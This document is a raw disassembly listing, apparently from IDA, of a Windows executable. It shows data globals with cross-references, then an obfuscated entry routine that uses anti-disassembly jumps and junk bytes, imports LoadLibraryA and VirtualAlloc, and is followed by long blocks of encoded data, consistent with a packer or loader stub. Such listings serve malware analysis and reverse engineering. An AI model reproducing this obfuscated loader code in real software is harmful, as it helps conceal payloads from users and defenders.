dword_4B3864 dd 0AEF0007Ah ; DATA XREF: _294ADE7B:0042273Cr
; sub_426E00+110r ...
dword_4B3868 dd 6FF0323Dh ; DATA XREF: _294ADE7B:00422411r
; sub_42A6E0+8r ...
dword_4B386C dd 0E96FBB3Bh ; DATA XREF: _294ADE7B:004224A7r
; sub_42A6E0+2Ar ...
dword_4B3870 dd 38FDC0FFh ; DATA XREF: _294ADE7B:004225BFr
; _294ADE7B:00422956r ...
dword_4B3874 dd 8CA6296Fh ; DATA XREF: sub_41E9A0+1Br
; sub_42B410+4Dr ...
dword_4B3878 dd 36E6F464h ; DATA XREF: sub_41E9A0+3Fr
; sub_42B410+38r ...
dword_4B387C dd 0B4BF1E46h ; DATA XREF: sub_41E560+41r
; sub_41E9A0+BEr ...
dword_4B3880 dd 0D359659Bh ; DATA XREF: sub_41E560+D5r
; sub_41E9A0+CDr ...
dword_4B3884 dd 0C8A0FF87h ; DATA XREF: _294ADE7B:0041E2AFr
; _294ADE7B:00430864r
dword_4B3888 dd 6260EBE9h ; DATA XREF: _294ADE7B:0041E2B9r
; _294ADE7B:0043085Er
dword_4B388C dd 63FF1956h ; DATA XREF: _294ADE7B:0041E2C2r
; _294ADE7B:00430858r
dword_4B3890 dd 707D2425h ; DATA XREF: _294ADE7B:0041A834r
; _294ADE7B:0041A9A4r ...
dword_4B3894 dd 0FF436AB5h ; DATA XREF: _294ADE7B:0043084Cr
dword_4B3898 dd 82835415h ; DATA XREF: sub_41E9A0+94r
; _294ADE7B:loc_422808r ...
dword_4B389C dd 701D15F3h ; DATA XREF: _294ADE7B:00430840r
dword_4B38A0 dd 881A28FFh ; DATA XREF: _294ADE7B:00424DABr
; _294ADE7B:0043083Ar
dword_4B38A4 dd 264908CFh ; DATA XREF: sub_41EB00+39r
; sub_426A30+11r ...
dword_4B38A8 dd 0CD19FF76h ; DATA XREF: sub_40C310+A9r
; sub_41EB00:loc_41EB4Cr ...
dword_4B38AC dd 264AEE0Fh ; DATA XREF: sub_40C310+352r
; _294ADE7B:00430828r
dword_4B38B0 dd 0EFC62743h ; DATA XREF: _294ADE7B:00430822r
dword_4B38B4 dd 7CFF917Eh ; DATA XREF: _294ADE7B:0040C242r
; _294ADE7B:00424D47r ...
dword_4B38B8 dd 0E7736D72h ; DATA XREF: _294ADE7B:00430816r
dword_4B38BC dd 0E3FD4E5Bh ; DATA XREF: _294ADE7B:00430810r
dword_4B38C0 dd 0E44911E0h ; DATA XREF: _294ADE7B:0041E277r
; sub_41EB00+25r ...
dword_4B38C4 dd 0BB16F46h ; DATA XREF: sub_41F2A0+14r
; _294ADE7B:00430804r
dword_4B38C8 dd 340B3A55h ; DATA XREF: _294ADE7B:0040C271r
; sub_41E560+E1r ...
dword_4B38CC dd 81D2FFE0h ; DATA XREF: sub_416980+5r
; sub_416AE0+C5r ...
dword_4B38D0 dd 279204C5h ; DATA XREF: sub_404840+2r
; sub_40C310+332r ...
dword_4B38D4 dd 301B1DDBh ; DATA XREF: sub_41E6C0+136r
; _294ADE7B:004307BCr
dword_4B38D8 dd 0BDA3FF51h ; DATA XREF: _294ADE7B:004307C2r
dword_4B38DC dd 0B00883Fh ; DATA XREF: sub_41A740+3Br
; _294ADE7B:004307C8r
dword_4B38E0 dd 55FE552Eh ; DATA XREF: sub_41BE00+17Br
; _294ADE7B:004307CEr
dword_4B38E4 dd 162E5648h ; DATA XREF: sub_41A020+6Cr
; _294ADE7B:004307D4r
dword_4B38E8 dd 570D6E69h ; DATA XREF: _294ADE7B:004307DAr
dword_4B38EC dd 0E1065DFDh ; DATA XREF: _294ADE7B:004307E0r
dword_4B38F0 dd 77B2DDC0h ; DATA XREF: sub_409590+13r
; _294ADE7B:004307E6r
dword_4B38F4 dd 0F9FCFFh ; DATA XREF: _294ADE7B:004307ECr
dword_4B38F8 dd 0 ; DATA XREF: _294ADE7B:004307F2r
dword_4B38FC dd 0FF800400h ; DATA XREF: _294ADE7B:0041E29Ar
; _294ADE7B:0043086Ar
dd 19h dup(0)
dword_4B3964 dd 0 ; DATA XREF: sub_430AC2r
dword_4B3968 dd 0 ; DATA XREF: sub_430AB6r
dword_4B396C dd 0 ; DATA XREF: sub_430ABCr
dd 0Bh dup(0)
dword_4B399C dd 0 ; DATA XREF: sub_41E6C0+113r
; _294ADE7B:0043079Er
dword_4B39A0 dd 0 ; DATA XREF: sub_41E6C0+11Dr
; _294ADE7B:00430798r
dword_4B39A4 dd 0 ; DATA XREF: sub_41E6C0+E5r
; _294ADE7B:00430792r
dword_4B39A8 dd 0 ; DATA XREF: _294ADE7B:0043078Cr
dword_4B39AC dd 0 ; DATA XREF: sub_41E6C0+147r
; _294ADE7B:00430786r ...
dword_4B39B0 dd 0 ; DATA XREF: _294ADE7B:loc_430780r
dword_4B39B4 dd 0 ; DATA XREF: _294ADE7B:0043077Ar
dword_4B39B8 dd 0 ; DATA XREF: _294ADE7B:00430774r
dword_4B39BC dd 0 ; DATA XREF: sub_41E6C0+EBr
dword_4B39C0 dd 0 ; DATA XREF: sub_41E6C0+105r
; _294ADE7B:004307A4r
dd 0Dh dup(0)
dword_4B39F8 dd 0 ; DATA XREF: _294ADE7B:00430762r
dword_4B39FC dd 0 ; DATA XREF: _294ADE7B:0043075Cr
dword_4B3A00 dd 0 ; DATA XREF: _294ADE7B:00430756r
dword_4B3A04 dd 0 ; DATA XREF: sub_427DF0+58r
; _294ADE7B:00430AECr
dd 0
dword_4B3A0C dd 0 ; DATA XREF: _294ADE7B:0043074Cr
dword_4B3A10 dd 0 ; DATA XREF: _294ADE7B:00430734r
dword_4B3A14 dd 0 ; DATA XREF: _294ADE7B:0043072Er
dd 0
dword_4B3A1C dd 0 ; DATA XREF: _294ADE7B:00430728r
dword_4B3A20 dd 0 ; DATA XREF: _294ADE7B:00430722r
dword_4B3A24 dd 0 ; DATA XREF: sub_4303E4+Dr
dword_4B3A28 dd 0 ; DATA XREF: sub_43071Cr
dword_4B3A2C dd 0 ; DATA XREF: sub_430716r
dword_4B3A30 dd 0 ; DATA XREF: _294ADE7B:0042CB94r
; _294ADE7B:004305B2r
dword_4B3A34 dd 0 ; DATA XREF: sub_4305ACr
dword_4B3A38 dd 0 ; DATA XREF: sub_4305A6r
dword_4B3A3C dd 0 ; DATA XREF: _294ADE7B:0042B2EBr
; _294ADE7B:0042C864r ...
dword_4B3A40 dd 0 ; DATA XREF: sub_42B0F0+96r
; _294ADE7B:0043059Ar
dword_4B3A44 dd 0 ; DATA XREF: sub_4295A0+19Br
; _294ADE7B:00430594r
dword_4B3A48 dd 0 ; DATA XREF: sub_428FC0+E0r
; sub_428FC0+100r ...
dword_4B3A4C dd 0 ; DATA XREF: sub_428270+32r
; sub_428340+77r ...
dword_4B3A50 dd 0 ; DATA XREF: sub_428020+A1r
; sub_428C00+5Fr ...
dword_4B3A54 dd 0 ; DATA XREF: sub_428020+AAr
; sub_428C00+68r ...
dword_4B3A58 dd 0 ; DATA XREF: sub_4279B0+61r
; sub_4279B0+EFr ...
dword_4B3A5C dd 0 ; DATA XREF: sub_4279B0+76r
dword_4B3A60 dd 0 ; DATA XREF: _294ADE7B:00430768r
dword_4B3A64 dd 0 ; DATA XREF: sub_4279B0+193r
; sub_428720+301r ...
dword_4B3A68 dd 0 ; DATA XREF: sub_427930+19r
; sub_427CB0+4Ar ...
dword_4B3A6C dd 0 ; DATA XREF: sub_427930+29r
; sub_427CB0+3Fr ...
dword_4B3A70 dd 0 ; DATA XREF: sub_421E50+4Dr
; sub_428720+114r ...
dword_4B3A74 dd 0 ; DATA XREF: sub_421170+804r
; _294ADE7B:00430558r
dword_4B3A78 dd 0 ; DATA XREF: _294ADE7B:0041E2CDr
; sub_4295A0+154r ...
dword_4B3A7C dd 0 ; DATA XREF: sub_41D500+571r
; sub_41D500+587r ...
dword_4B3A80 dd 0 ; DATA XREF: sub_41D500+578r
; _294ADE7B:0041F398r ...
dword_4B3A84 dd 0 ; DATA XREF: sub_41D500+5B4r
; sub_4295A0+DCr ...
dword_4B3A88 dd 0 ; DATA XREF: sub_41BE00+4BAr
; sub_41BE00+508r ...
dword_4B3A8C dd 0 ; DATA XREF: _294ADE7B:0041A83Ar
; _294ADE7B:0041A9AAr ...
dword_4B3A90 dd 0 ; DATA XREF: _294ADE7B:0041A32Ar
; sub_41BE00+3CEr ...
dword_4B3A94 dd 0 ; DATA XREF: _294ADE7B:0041A338r
; sub_41BE00+519r ...
dword_4B3A98 dd 0 ; DATA XREF: sub_43043Ar
dword_4B3A9C dd 0 ; DATA XREF: sub_41A020:loc_41A102r
; sub_41A020+17Er ...
dword_4B3AA0 dd 0 ; DATA XREF: sub_41A020+178r
; _294ADE7B:00422345r ...
dword_4B3AA4 dd 0 ; DATA XREF: sub_43076Er
dword_4B3AA8 dd 0 ; DATA XREF: sub_421170+6C0r
; sub_421170+897r ...
dword_4B3AAC dd 0 ; DATA XREF: sub_422BB0+Ar
; sub_422BF0+A0r ...
dword_4B3AB0 dd 0 ; DATA XREF: sub_41EDB0+24Er
; sub_422A90+9r ...
dword_4B3AB4 dd 0 ; DATA XREF: sub_40C310+399r
; sub_421170+37Cr ...
dword_4B3AB8 dd 0 ; DATA XREF: sub_41BE00+6B4r
; _294ADE7B:0042CB52r ...
dword_4B3ABC dd 0 ; DATA XREF: _294ADE7B:0040C0F6r
; sub_41BE00+495r ...
dword_4B3AC0 dd 0 ; DATA XREF: _294ADE7B:004303C6r
dword_4B3AC4 dd 0 ; DATA XREF: sub_409C20+1r
; sub_421170+701r ...
dword_4B3AC8 dd 0 ; DATA XREF: _294ADE7B:00430388r
dword_4B3ACC dd 0 ; DATA XREF: sub_430382r
dword_4B3AD0 dd 0 ; DATA XREF: _294ADE7B:00430350r
dword_4B3AD4 dd 0 ; DATA XREF: sub_43034Ar
dword_4B3AD8 dd 0 ; DATA XREF: sub_4068E0+B2r
; _294ADE7B:0041A3BDr ...
dword_4B3ADC dd 0 ; DATA XREF: sub_409CE0+18r
; sub_40EB00+1126r ...
dword_4B3AE0 dd 0 ; DATA XREF: sub_4181B0+10r
; _294ADE7B:004182AAr ...
dword_4B3AE4 dd 0 ; DATA XREF: sub_430332r
dword_4B3AE8 dd 0 ; DATA XREF: sub_404890+14CBr
; _294ADE7B:0043032Cr
dword_4B3AEC dd 0 ; DATA XREF: sub_41BE00+10Br
; sub_41CC30+567r ...
dword_4B3AF0 dd 0 ; DATA XREF: sub_430320r
dword_4B3AF4 dd 0 ; DATA XREF: sub_430316r
dword_4B3AF8 dd 0 ; DATA XREF: sub_4279B0:loc_427A42r
dword_4B3AFC dd 0 ; DATA XREF: sub_4178D0+137r
; sub_41E560+C6r ...
dword_4B3B00 dd 0 ; DATA XREF: sub_4279B0+2Dr
; _294ADE7B:00430AE6r
dword_4B3B04 dd 0 ; DATA XREF: sub_4279B0+87r
; _294ADE7B:00430570r
dd 18h dup(0)
dword_4B3B68 dd 0 ; DATA XREF: sub_4302F8r
dword_4B3B6C dd 0 ; DATA XREF: sub_430310r
dword_4B3B70 dd 0 ; DATA XREF: sub_43030Ar
dword_4B3B74 dd 0 ; DATA XREF: sub_430304r
dword_4B3B78 dd 0 ; DATA XREF: sub_4302FEr
dd 0Ch dup(0)
dword_4B3BAC dd 0 ; DATA XREF: sub_430ACEr
dword_4B3BB0 dd 0 ; DATA XREF: sub_430AD4r
dword_4B3BB4 dd 0 ; DATA XREF: sub_430AC8r
dd 0Bh dup(0)
dword_4B3BE4 dd 0 ; DATA XREF: sub_41A700+15r
; _294ADE7B:004309F0r
dd 0Bh dup(0)
dword_4B3C14 dd 0 ; DATA XREF: sub_41C890+4Dr
; sub_41C890+9Cr ...
dword_4B3C18 dd 0 ; DATA XREF: _294ADE7B:0041858Dr
; sub_418620+2Dr ...
dd 0Bh dup(0)
dword_4B3C48 dd 0 ; DATA XREF: sub_430A38r
dword_4B3C4C dd 0 ; DATA XREF: sub_4178D0+1BEr
; _294ADE7B:00430A3Er
dword_4B3C50 dd 0 ; DATA XREF: _294ADE7B:00430A44r
dword_4B3C54 dd 0 ; DATA XREF: sub_41D500+D8r
; _294ADE7B:0041E4CBr ...
dword_4B3C58 dd 0 ; DATA XREF: sub_41D500+8Br
; sub_41E420+57r ...
dword_4B3C5C dd 0 ; DATA XREF: sub_418980+118r
; sub_418DA0+48r ...
dword_4B3C60 dd 0 ; DATA XREF: sub_418980+C5r
; _294ADE7B:00422179r ...
dword_4B3C64 dd 0 ; DATA XREF: sub_41D500+FEr
; _294ADE7B:0041E4E9r ...
dword_4B3C68 dd 0 ; DATA XREF: sub_430A68r
dword_4B3C6C dd 0 ; DATA XREF: sub_41BE00+464r
; sub_41BE00+4DCr ...
dword_4B3C70 dd 0 ; DATA XREF: _294ADE7B:00430A32r
dword_4B3C74 dd 0 ; DATA XREF: sub_421F40+5Er
; sub_427080+E5r ...
dword_4B3C78 dd 0 ; DATA XREF: sub_421E10+15r
; sub_423510+8r ...
dword_4B3C7C dd 0 ; DATA XREF: sub_421E10+Dr
; _294ADE7B:00430A86r
dword_4B3C80 dd 0 ; DATA XREF: _294ADE7B:004221D4r
; _294ADE7B:00430A8Cr
dword_4B3C84 dd 0 ; DATA XREF: _294ADE7B:0042216Cr
; sub_427480+286r ...
dword_4B3C88 dd 0 ; DATA XREF: sub_427480+CFr
; sub_430A98r
dword_4B3C8C dd 0 ; DATA XREF: sub_427480+A6r
; _294ADE7B:00430A9Er
dword_4B3C90 dd 0 ; DATA XREF: sub_430AA4r
dword_4B3C94 dd 0 ; DATA XREF: sub_430AAAr
dword_4B3C98 dd 0 ; DATA XREF: sub_430AB0r
dword_4B3C9C dd 0 ; DATA XREF: sub_41BE00+392r
; sub_41D500+CCr ...
dword_4B3CA0 dd 0 ; DATA XREF: sub_421170+66r
; sub_421170+7D3r ...
dword_4B3CA4 dd 0 ; DATA XREF: sub_41E320+12r
; _294ADE7B:00425802r ...
dword_4B3CA8 dd 0 ; DATA XREF: sub_41A670+5Ar
; sub_41BE00+34Cr ...
dword_4B3CAC dd 0 ; DATA XREF: sub_41A670+Dr
; sub_41D500+61r ...
dword_4B3CB0 dd 0 ; DATA XREF: sub_41A670+33r
; sub_41D500+51r ...
dword_4B3CB4 dd 0 ; DATA XREF: sub_41A670+4Dr
; sub_41E360+60r ...
dword_4B3CB8 dd 0 ; DATA XREF: sub_421170+7A2r
; sub_421D50+2Cr ...
dword_4B3CBC dd 0 ; DATA XREF: sub_41A670+24r
; sub_41E320+6r ...
dword_4B3CC0 dd 0 ; DATA XREF: _294ADE7B:00430A02r
dword_4B3CC4 dd 0 ; DATA XREF: sub_41D500+134r
; _294ADE7B:00430A74r
dd 11h dup(0)
dword_4B3D0C dd 0 ; DATA XREF: sub_4307B0r
dd 29Fh dup(0)
db 0
SEH_417770 db 3 dup(0) ; DATA XREF: sub_417770+2o
align 1000h
CEF7B5AD ends
; Section 5. (virtual address 000B5000)
; Virtual size : 00008000 ( 32768.)
; Section size in file : 00008000 ( 32768.)
; Offset to raw data for section: 000B5000
; Flags C00000E0: Text Data Bss Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Uninitialized
; Segment permissions: Read/Write
_29C6B529 segment para public 'BSS' use32
assume cs:_29C6B529
;org 4B5000h
assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
dd 0B5028h, 2 dup(0)
dd 0B504Fh, 0B5028h, 5 dup(0)
dd 77E805D8h, 77E7980Ah, 0
aLoadlibrarya db 'LoadLibraryA',0
align 2
aVirtualalloc db 'VirtualAlloc',0
aKernel32_dll_0 db 'KERNEL32.dll',0
; =============== S U B R O U T I N E =======================================
public start
start proc near
movsx ecx, cl
imul ecx, esi
movzx ecx, si
stc
jb short near ptr loc_4B5068+1
loc_4B5068: ; CODE XREF: start+Aj
db 67h
call near ptr loc_4B506E+1
loc_4B506E: ; CODE XREF: start:loc_4B5068p
rep pop ecx
start endp ; sp-analysis failed
jmp short loc_4B5074
; ---------------------------------------------------------------------------
dw 67BEh
; ---------------------------------------------------------------------------
loc_4B5074: ; CODE XREF: _29C6B529:004B5070j
jmp short loc_4B5078
; ---------------------------------------------------------------------------
dw 8CF7h
; ---------------------------------------------------------------------------
loc_4B5078: ; CODE XREF: _29C6B529:loc_4B5074j
clc
jnb short loc_4B507C
sahf
loc_4B507C: ; CODE XREF: _29C6B529:004B5079j
call near ptr loc_4B5081+2
loc_4B5081: ; CODE XREF: _29C6B529:loc_4B507Cp
mov word ptr [esi+58h], es
clc
jnb short near ptr loc_4B5087+1
loc_4B5087: ; CODE XREF: _29C6B529:004B5085j
; _29C6B529:004B509Cj
call near ptr 693F2983h
add [edx+edx*2+4Bh], bl
and al, 0A5h
jmp short loc_4B5096
; ---------------------------------------------------------------------------
db 0A5h, 0E6h
; ---------------------------------------------------------------------------
loc_4B5096: ; CODE XREF: _29C6B529:004B5092j
repne or eax, ebx
stc
jb short near ptr loc_4B509C+1
loc_4B509C: ; CODE XREF: _29C6B529:004B509Aj
jnb short near ptr loc_4B5087+2
add cl, [esi]
inc edx
pop esi
jmp short loc_4B50A6
; ---------------------------------------------------------------------------
db 41h, 0A8h
; ---------------------------------------------------------------------------
loc_4B50A6: ; CODE XREF: _29C6B529:004B50A2j
add eax, 1F9364A8h
repne rol eax, 12h
repne sub al, 0F2h
neg eax
rol esi, 58h
and al, 9Ch
jmp short loc_4B50BD
; ---------------------------------------------------------------------------
db 0CDh
db 20h
; ---------------------------------------------------------------------------
loc_4B50BD: ; CODE XREF: _29C6B529:004B50B9j
jmp short loc_4B50C1
; ---------------------------------------------------------------------------
db 0CDh
db 20h
; ---------------------------------------------------------------------------
loc_4B50C1: ; CODE XREF: _29C6B529:loc_4B50BDj
repne ror eax, 0Ah
stc
jb short near ptr loc_4B50C8+1
loc_4B50C8: ; CODE XREF: _29C6B529:004B50C6j
cmp al, 0F3h
push 400h
clc
jnb short near ptr loc_4B50D2+1
loc_4B50D2: ; CODE XREF: _29C6B529:004B50D0j
db 64h
rol eax, 10h
imul ecx, esi
movzx eax, si
stc
jb short loc_4B50E0
xchg eax, ebp
loc_4B50E0: ; CODE XREF: _29C6B529:004B50DDj
and eax, ecx
pop ebx
add cl, 65h
jmp short loc_4B50E9
; ---------------------------------------------------------------------------
db 46h
; ---------------------------------------------------------------------------
loc_4B50E9: ; CODE XREF: _29C6B529:004B50E6j
jmp short loc_4B50ED
; ---------------------------------------------------------------------------
db 0CDh
db 20h
; ---------------------------------------------------------------------------
loc_4B50ED: ; CODE XREF: _29C6B529:loc_4B50E9j
xor eax, 1Dh
jmp short loc_4B50F3
; ---------------------------------------------------------------------------
db 41h
; ---------------------------------------------------------------------------
loc_4B50F3: ; CODE XREF: _29C6B529:004B50F0j
shl eax, 1
mov ecx, ebx
clc
jnb short near ptr loc_4B50FA+1
loc_4B50FA: ; CODE XREF: _29C6B529:004B50F8j
add eax, 26E181F3h
and eax, 892C9772h
mov dl, [esi]
clc
jnb short near ptr loc_4B5109+1
loc_4B5109: ; CODE XREF: _29C6B529:004B5107j
in al, 0F3h
imul eax, 4631772Eh
jmp short loc_4B5115
; ---------------------------------------------------------------------------
db 0DCh
db 0C5h
; ---------------------------------------------------------------------------
loc_4B5115: ; CODE XREF: _29C6B529:004B5111j
and eax, eax
call near ptr loc_4B511C+1
loc_4B511C: ; CODE XREF: _29C6B529:004B5132j
; _29C6B529:004B5117p
xor [eax-0Dh], ebx
xchg eax, ecx
ror ecx, 5
jmp short loc_4B5127
; ---------------------------------------------------------------------------
db 0ECh, 0E9h
; ---------------------------------------------------------------------------
loc_4B5127: ; CODE XREF: _29C6B529:004B5123j
rep or eax, edx
jmp short loc_4B512D
; ---------------------------------------------------------------------------
db 0F4h
; ---------------------------------------------------------------------------
loc_4B512D: ; CODE XREF: _29C6B529:004B512Aj
add dl, bl
clc
jnb short near ptr loc_4B5132+1
loc_4B5132: ; CODE XREF: _29C6B529:004B5130j
jg short loc_4B511C
add al, [eax]
; ---------------------------------------------------------------------------
dw 0
dd 0F25859B3h, 2EBC83Bh, 2EB20CDh, 0EA8107CCh, 0F59681F3h
dd 0F2C2AF0Fh, 0BC2B60Fh, 0CB01EBCBh, 1F5902EBh, 80D0F7F3h
dd 0C81323EAh, 0F80173F8h, 0EBCA2BF3h, 0EB20CD02h, 806C0B02h
dd 0B60F02C2h, 1E806h, 58460000h, 0A80173F8h, 0EB0EB60Fh
dd 0F2806901h, 173F81Ah, 0F9C98588h, 0EB2B0172h, 81916501h
dd 2624DBEAh, 2601EB7Dh, 0F22401EBh, 1EBC18Bh, 6DE883F4h
dd 2E8D32Ah, 71000000h, 3F25838h, 0CA8BF2CAh, 78C502EBh
dd 0F318C8C1h, 834FEA80h, 24F271E1h, 172F96Bh, 172F99Bh
dd 0FE02EBF3h, 0EB168840h, 73F81F01h, 1E80301h, 0A8000000h
dd 0C185F359h, 0F3C70BF2h, 3F24046h, 6601EBC3h, 20CD02EBh
dd 4BC20BF3h, 0F2CFAF0Fh, 0EBCFB70Fh, 2EB7B01h, 72F920CDh
dd 2E8B301h, 6D000000h, 6BF35936h, 0D83B00C0h, 0EBC9B60Fh
dd 0F528002h, 0B60FC9BEh, 0A902EBC9h, 0BE0FF2C1h, 6001EBC9h
dd 0C1F2D0F7h, 2EB0AC1h, 850FFA81h, 0FFFFFEA7h, 0CF02EB49h
dd 9901EB54h, 2EBD9F7h, 0EBB939h, 0F01FE6Bh, 0F2F3FFB7h
dd 8FCF81h, 0BF20000h, 0FFBF0FFBh, 1E8h, 0F85ECF00h, 0F2CC0173h
dd 0C8F2F681h, 0AF0F25F5h, 0F3B60FF3h, 0F875EE83h, 0F85F0173h
dd 0EB4B0173h, 13C90902h, 0EBFE87FEh, 0EB1A3202h, 2EB4601h
dd 68F23C68h, 4B565Ch, 467801EBh, 20CD02EBh, 0F3FAB60Fh
dd 0CE81F28Bh, 0C440FE4h, 2E8h, 5F1F3F00h, 20CD02EBh, 5B4001EBh
dd 2EBFA8Bh, 0FE0B20CDh, 2EBD7F7h, 2EB20CDh, 0CFC120CDh
dd 173F814h, 173F833h, 6E4DB8C4h, 0AF0F0000h, 0F2B60FFAh
dd 2EBF733h, 0FF856290h, 765602EBh, 8ECA02EBh, 20CD02EBh
dd 0F22801EBh, 0B60FFB8Bh, 0F2F933F2h, 8B02FF69h, 0B70F6022h
dd 0A202EBFFh, 172F908h, 0C1F7D114h, 2EB13F7h, 0B60F20CDh
dd 0F683F30Bh, 8901EB3Fh, 72F94FF2h, 83F29901h, 2EB15E7h
dd 0F68130F0h, 29A9230h, 0F2F2FB03h, 0EB6AF683h, 4720CD02h
dd 2EBFF0Bh, 2EB20CDh, 73F820CDh, 0FE03D901h, 0AF0172F9h
dd 23501EBh, 172F9C8h, 173F893h, 0CD02EB32h, 1CCEC120h
dd 20CD02EBh, 93C102EBh, 2EBF88Bh, 73F8C093h, 0C8321201h
dd 0C781FE87h, 4D33FCh, 20CD02EBh, 9A6702EBh, 1E8h, 0F95FD300h
dd 0F99A0172h, 0F8130172h, 0EB020173h, 0E9810001h, 5F9E1980h
dd 3BF88BF3h, 0F301EBFFh, 2E8h, 5F2F5F00h, 20CD02EBh, 333102EBh
dd 85FA33F2h, 0B70FF3FEh, 0F181F3FFh, 2121079Eh, 20CD02EBh
dd 0E783F73Bh, 48EF8109h, 812644B8h, 13225CC7h, 0CD02EB20h
dd 0F713F220h, 0E7C1DEF7h, 0E8C80208h, 1, 0B60F5F88h, 3702EBFBh
dd 0CD02EB17h, 0DEF7F220h, 0DCCC02EBh, 85338B4Eh, 0F2C832FEh
dd 87F2FA1Bh, 172F9FEh, 0F8AF0FD1h, 0F8B60FF3h, 0F310CFC1h
dd 0F80EEFC1h, 0EB620173h, 13F22C01h, 0CAF181F1h, 0EB207264h
dd 0F9C99302h, 0F8320172h, 81E40173h, 0C0A840EEh, 0C1F73BE8h
dd 87F210C6h, 7901EBFEh, 37EE83F3h, 11B3E981h, 0F2467B5Dh
dd 0E8F8B60Fh, 1, 13F35EEDh, 173F8F3h, 0C681F37Ch, 9A7D3B3Eh
dd 0C1D901EBh, 4EF209EEh, 2E8C802h, 3C000000h, 73F85E1Eh
dd 1EBA301h, 0C781F2B4h, 0F2h, 23F3EFD1h, 0F73BF2F8h, 1E8h
dd 0F85FC700h, 0F2D80173h, 0B8F6F181h, 2EBC127h, 2EB20CDh
dd 2E824F7h, 27000000h, 1EB5F93h, 172F912h, 1802EB82h
dd 0EBFE8742h, 0F920CD02h, 810E0172h, 0CDF83E9h, 0F683F310h
dd 0EE8137h, 0F74B76B1h, 81F3F2DFh, 0BBF6h, 172F900h, 173F84Bh
dd 173F812h, 8801EB42h, 0F29801EBh, 0D0A6F181h, 0FE87BB20h
dd 2E8h, 5E902000h, 0FF3F82Bh, 0C681F1B6h, 0C5h, 9AEC02EBh
dd 0FFB70FF3h, 1E8h, 0F85E3300h, 2A460173h, 1E8C8h, 5F3D0000h
dd 0C1F323F2h, 72F915EEh, 83F20D01h, 1BF265F7h, 172F9F1h
dd 173F88Fh, 0E683F251h, 0EB0B886Bh, 0EB319F02h, 0EB20CD02h
dd 0F320CD02h, 0C683FE87h, 6BD6F729h, 2EB65F7h, 1EB20CDh
dd 0F43F366h, 0B60FF9AFh, 0FBB60FF9h, 9B6E02EBh, 20CD02EBh
dd 53C683F2h, 0FF2AF0Fh, 0BE0FFAB6h, 9CFC1F0h, 0E848DFF7h
dd 2, 0F85F8204h, 0F2100173h, 73F8FF3Bh, 0F12B5D01h, 20CD02EBh
dd 6FC683F3h, 20CD02EBh, 0C64402EBh, 0C73BFF2Bh, 2E8h
dd 5FF8F100h, 0FFB70FF3h, 1A5302EBh, 2E8h, 5F69D200h, 0FFBF0FF3h
dd 0EBFABE0Fh, 0F3DA6002h, 0F3FFBF0Fh, 8BFFBF0Fh, 0CFC1F3F3h
dd 0EBF78B16h, 0F335C402h, 0EBFFBF0Fh, 0F20CD02h, 0BE0FFFBFh
dd 0FFE87FBh, 0FFFCDD85h, 0E001EBFFh, 0FF2DEF7h, 1EBF8BEh
dd 0CEC1F2FDh, 1E80Bh, 5EDD0000h, 0F3F3AF0Fh, 0EBFBB60Fh
dd 0C17C6C02h, 0EB1CE6h, 0ACD4B855h, 0B9B3EFh, 35000002h
dd 0B3AFACD4h, 32FFCA83h, 0D3FF0154h, 0E8F8E2C2h, 0F2h
dd 5028BDFCh, 46A004Bh, 300068h, 0C0006800h, 8B510000h
dd 3A800455h, 0C1940FCCh, 0D2FFD103h, 756958Dh, 52500000h
dd 748B6050h, 7C8B2424h, 0CD832824h, 0F9C933FFh, 68A0CEBh
dd 47078846h, 973DB02h, 1E8AF475h, 72DB1246h, 1B8EDh, 0DB020000h
dd 1E8A0575h, 13DB1246h, 73DB02C0h, 8A0775F1h, 0DB12461Eh
dd 0E883E873h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0E88B6E74h
dd 575DB02h, 12461E8Ah, 2C913DBh, 8A0575DBh, 0DB12461Eh
dd 1C75C913h, 75DB0241h, 461E8A05h, 0C913DB12h, 0F173DB02h
dd 1E8A0775h, 73DB1246h, 2C183E8h, 0F300FD81h, 0D183FFFFh
dd 3D548D01h, 0FCFD8300h, 28A0E76h, 47078842h, 0E9F77549h
dd 0FFFFFF70h, 0C283028Bh, 83078904h, 0E98304C7h, 3F17704h
dd 0E9C933F9h, 0FFFFFF58h, 28247C2Bh, 1C247C89h, 0B958C361h
dd 0F2h, 0FF015428h, 0F8E2C2D3h, 2EBC350h, 7C83490Ch, 0EB000424h
dd 68490C02h, 4B5795h, 0C30C01EBh, 47FEE900h, 0A468779Ch
dd 0EB004B57h, 0C30C01h, 490C02EBh, 24648D55h, 57B868F0h
dd 32E9004Bh, 0C779C52h, 2EBEC8Bh, 75FF20CDh, 0C02EB08h
dd 57CF6849h, 1EB004Bh, 0E900C30Ch, 779C5069h, 0F024648Dh
dd 4B57E368h, 5207E900h, 0EB0C779Ch, 5520CD02h, 8B00F0C1h
dd 0CD02EBECh, 1075FF20h, 490C02EBh, 8D0C75FFh, 68F42464h
dd 4B580Ah, 9C463FE9h, 75FF0C77h, 0C02EB08h, 0C1FF6A49h
dd 2EB00F0h, 23E9490Ch, 0EB779C46h, 6820CD02h, 4B582Dh
dd 0C30C01EBh, 648D5500h, 3D68F024h, 0E9004B58h, 779C3FE5h
dd 0EBEC8B0Ch, 0FF20CD02h, 2EB1475h, 75FF490Ch, 24648D10h
dd 585C68F0h, 0C6E9004Bh, 0C779C3Fh, 0EB0C75FFh, 0FF490C02h
dd 2EB0875h, 0FF6A490Ch, 490C02EBh, 0E90C01EBh, 779C3FA3h
dd 0EB0C01EBh, 83490C02h, 4247Ch, 4B588E68h, 0C01EB00h
dd 0C15300C3h, 685600F0h, 4B589Dh, 0C30C01EBh, 0C02EB00h
dd 0AD39E949h, 2EB779Ch, 0F02490Ch, 3B6F1265h, 0F6C1FF1Ch
dd 7B037A00h, 156FC001h, 0FB8020CDh, 840FFF3Fh, 1E981AC0h
dd 0EB313FDEh, 190DFB2Ch, 0EBCC0612h, 1B11F803h, 0E60F51DDh
dd 0F403FBEBh, 78577615h, 4D920077h, 8A780C37h, 8C4DA3BDh
dd 7CFF2624h, 5F017D03h, 0B99F297Dh, 192D4C17h, 0AECCDB0Fh
dd 0C1FD75FBh, 0AC5200F7h, 296C15EAh, 7A037D64h, 0E8DC0C0h
dd 0BA7383A2h, 770376FBh, 1912D401h, 0DD88068Bh, 0BCEF1C03h
dd 0C8AFA929h, 179DD2Fh, 0F0C1DD08h
dd 0D6F68C44h, 0FF07B60Fh, 298D2AB5h, 21DDED00h, 93708DECh
